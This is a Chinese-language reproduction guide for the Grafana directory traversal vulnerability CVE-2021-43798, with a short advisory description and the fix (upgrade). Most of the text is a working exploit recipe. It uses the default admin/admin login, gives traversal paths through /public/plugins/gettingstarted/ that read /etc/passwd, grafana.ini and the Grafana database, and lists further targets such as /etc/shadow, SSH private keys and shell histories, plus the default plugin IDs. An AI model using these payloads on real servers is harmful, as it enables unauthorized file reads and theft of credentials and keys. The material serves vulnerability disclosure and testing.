grafana目录遍历(CVE-2021-43798)

漏洞描述:

 Grafana 是一个用于监控和可观察性的开源平台。Grafana 版本 8.0.0-beta1 到 8.3.0（补丁版本除外）容易受到目录遍历，允许访问本地文件。易受攻击的 URL 路径是：<grafana_host_url>/public/plugins//，其中是任何已安装插件的插件 ID。Grafana Cloud 在任何时候都不会受到攻击。建议用户升级到补丁版本 8.0.7、8.1.8、8.2.7 或 8.3.1。GitHub 安全公告包含有关易受攻击的 URL 路径、缓解措施和披露时间表的更多信息。

复现过程：

1.访问ip:port,跳转到登录页面

账号：admin

密码：admin

2.抓取登录后页面的包

3.读取etc/passwd:，将GET后面的数据进行修改 ，改为

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd

 

4.读取配置文件：

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

 

5.读取数据库：

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

 

6.读取其它文件：

/conf/defaults.ini

/etc/grafana/grafana.ini

/etc/passwd

/etc/shadow

/home/grafana/.bash_history

/home/grafana/.ssh/id_rsa

/root/.bash_history

/root/.ssh/id_rsa

/usr/local/etc/grafana/grafana.ini

/var/lib/grafana/grafana.db

/proc/net/fib_trie

/proc/net/tcp

/proc/self/cmdline

默认安装插件列表：

alertlist

annolist

grafana-azure-monitor-datasource

barchart

bargauge

cloudwatch

dashlist

elasticsearch

gauge

geomap

gettingstarted

stackdriver

graph

graphite

heatmap

histogram

influxdb

jaeger

logs

loki

mssql

mysql

news

nodeGraph

opentsdb

piechart

pluginlist

postgres

prometheus

stat

state-timeline

status-history

table

table-old

tempo

testdata

text

timeseries

welcome

Zipkin

修复方式：

升级版本